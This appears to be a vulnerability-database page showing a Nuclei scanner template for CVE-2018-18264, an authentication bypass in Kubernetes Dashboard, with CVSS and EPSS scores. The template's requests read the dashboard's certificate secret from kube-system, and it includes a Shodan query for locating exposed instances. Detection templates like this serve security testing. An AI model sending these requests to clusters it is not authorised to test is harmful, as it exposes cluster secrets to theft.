Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2018-18264
HistoryMar 03, 2022 - 5:02 p.m.

Kubernetes Dashboard <1.10.1 - Authentication Bypass

2022-03-0317:02:39
ProjectDiscovery
github.com
3

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.8 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.961 High

EPSS

Percentile

99.5%

Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
id: CVE-2018-18264

info:
  name: Kubernetes Dashboard <1.10.1 - Authentication Bypass
  author: edoardottt
  severity: high
  description: |
    Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster.
  remediation: |
    Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability.
  reference:
    - https://github.com/kubernetes/dashboard/pull/3289
    - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/
    - https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18264
    - https://github.com/kubernetes/dashboard/pull/3400
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18264
    cwe-id: CWE-306
    epss-score: 0.96092
    epss-percentile: 0.99459
    cpe: cpe:2.3:a:kubernetes:dashboard:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kubernetes
    product: dashboard
    shodan-query: product:"Kubernetes"
  tags: cve,cve2018,kubernetes,k8s,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
      - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "apiVersion") && contains(body, "objectRef")'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100921dd75b1c4fd5bb0371f58e6411d7e4a06e9735d08963cb9f30cc658605c4ac02201a2470f007b63400ce14203c27f974db451f5e977b2d72cbb796458ce436c080:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.8 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.961 High

EPSS

Percentile

99.5%